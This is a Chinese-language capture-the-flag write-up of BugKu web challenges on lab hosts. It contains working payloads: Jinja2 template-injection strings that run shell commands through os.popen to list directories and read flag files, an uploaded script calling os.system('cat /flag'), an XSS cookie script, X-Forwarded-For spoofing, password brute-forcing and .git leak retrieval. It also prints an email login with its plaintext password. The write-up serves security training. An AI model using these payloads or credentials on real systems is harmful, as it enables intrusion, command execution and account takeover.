BugKu:Web
Simple_SSTI_1
1.根据题目提示使用flag构造参数,所以就是?flag={{XXXX}}
2.payload,查看config,得到flag
http://114.67.175.224:18349/?flag={{config}}
Flask_FileUpload
1.查看网页源代码,发现上传的文件会通过Python 判断是不是上传的文件是不是jpg,png文件,并把执行的结果返回到,根据此编写payload。
2.编写python —payload,cat—查看目录下的flag文件,并将文件保存为以jpg或png结尾的文件,上传。
import os
os.system('cat /flag')
3.显示文件上传成功,点击F12查看,发现flag。
Simple_SSTI_2
1.在url后边1输入?falg,发现如下:
提示使用flag构造参数,所以就是?flag={{XXXX}}
2.查看config–
payload
?flag={{config.__class__.__init__.__globals__['os'].popen('ls ../').read()}}
得到如下文件目录,如下图
3.查看app bin dev etc home lib media mnt opt proc root run sbin srv sys tmp usr var 目录下的文件
payload
?flag={{config.__class__.__init__.__globals__['os'].popen('ls ../app').read()}}
4.在目录app下看到flag,使用cat命令查看flag内容,路径为…/app/flag
payload
?flag={{config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read()}}
留言板
1.使用dirsearch 扫描目录,发现 目录/admin.php
python dirsearch.py -u http://114.67.175.224:10454
2.使用工具爆破,发现用户名为admin,密码为011be4d65feac1a8
登录进去,发现留言的语句,在该目录显示,显示当前的cookie------<script>alert(document.cookie)</script>
javascript:alert(document.cookie) 可以查看当前页的cookie
3.刷新http://114.67.175.224:10454/admin.php页面,显示flag
矛盾
数字绕过,num既不能是数字字符,但是要等于1,用科学计数法表示数字1,既不是纯数字,其值又等于1因此,构造payload:num=1*e*0.1
alert
F12查看,发现unicode码—通过解码得到flag
你必须让他停下
通过burpsuite抓包,得到页面每一帧的数据包,查看源代码发现flag
wp:查看页面源代码,抓包,发送到Repeater,不停的发送数据包,在10.jpg发现flag。
社工-初步收集
通过邮箱登录,用户名:bugkuku@163.com;密码:XSLROCPMNWWZQDZL
进入邮箱,查找flag
game1
开始游戏后,抓包,结束后发现GET /score.php?score=25&ip=39.144.69.22&sign=zMMjU=== HTTP/1.1
发送到repeater,修改score=99999,99999base64编码为OTk5OTk=,修改sign=zMOTk5OTk===
‘zM’+base64(score)+‘==’
网站被黑
目录扫描发现shell.php
爆破登录密码发现flag
本地管理员
查看页面源代码发现base64编码dGVzdDEyMw==,解码得到test123,用户名为admin,密码为test123,登录
发现IP禁止访问,请联系本地管理员登陆,IP已被记录.
抓包发送到repeater,添加------X-Forwarded-For: 127.0.0.1,发送,发现flag
bp
登录界面,爆破,使用bp
发现如下-----输入正确的密码,返回页面的r将不是{code: ‘bugku10000’}
intrude—选项,添加{code: ‘bugku10000’}
开始爆破密码—找到返回包不含有{code: ‘bugku10000’}的,为正确的密码:zxc123
登录—发现flag
source
文件题目提示–方向可能为源代码泄露
1.目录扫描–发现git目录----git泄露–如下图
使用工具dirsearch–命令python dirsearch.py -u http://114.67.175.224:12145/
2.kali使用 wget 命令:wget是Linux中的一个下载文件的工具,-r :指定递归下载
wget -r http://114.67.175.224:12145/.git
下载完之后,生成114.67.175.224:12145文件夹,如下图,进入到该目录
cd 114.67.175.224:12145
ls 查看内容
git log 显示提交日志
git reflog 显示所有提交,包括孤立节点
查看内容
git show 40c6d51--发现flag
源代码
查看题目源代码–发现js代码,以及url编码的数据
<script>
var p1 = '%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62';
var p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b';
eval(unescape(p1) + unescape('%35%34%61%61%32' + p2));
</script>
将p1,‘%35%34%61%61%32’,p2,url解码拼接,作为输入–得到flag
p1url解码
p2url解码
'%35%34%61%61%32’解码:54aa2
三段解码拼接得到;67d709b2b54aa2aa648cf6e87a7114f1
function checkSubmit()
{var a=document.getElementById("password");
if("undefined"!=typeof a)
{if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
return!0;
alert("Error");
a.focus();return!1}}
document.getElementById("levelQuest").onsubmit=checkSubmit;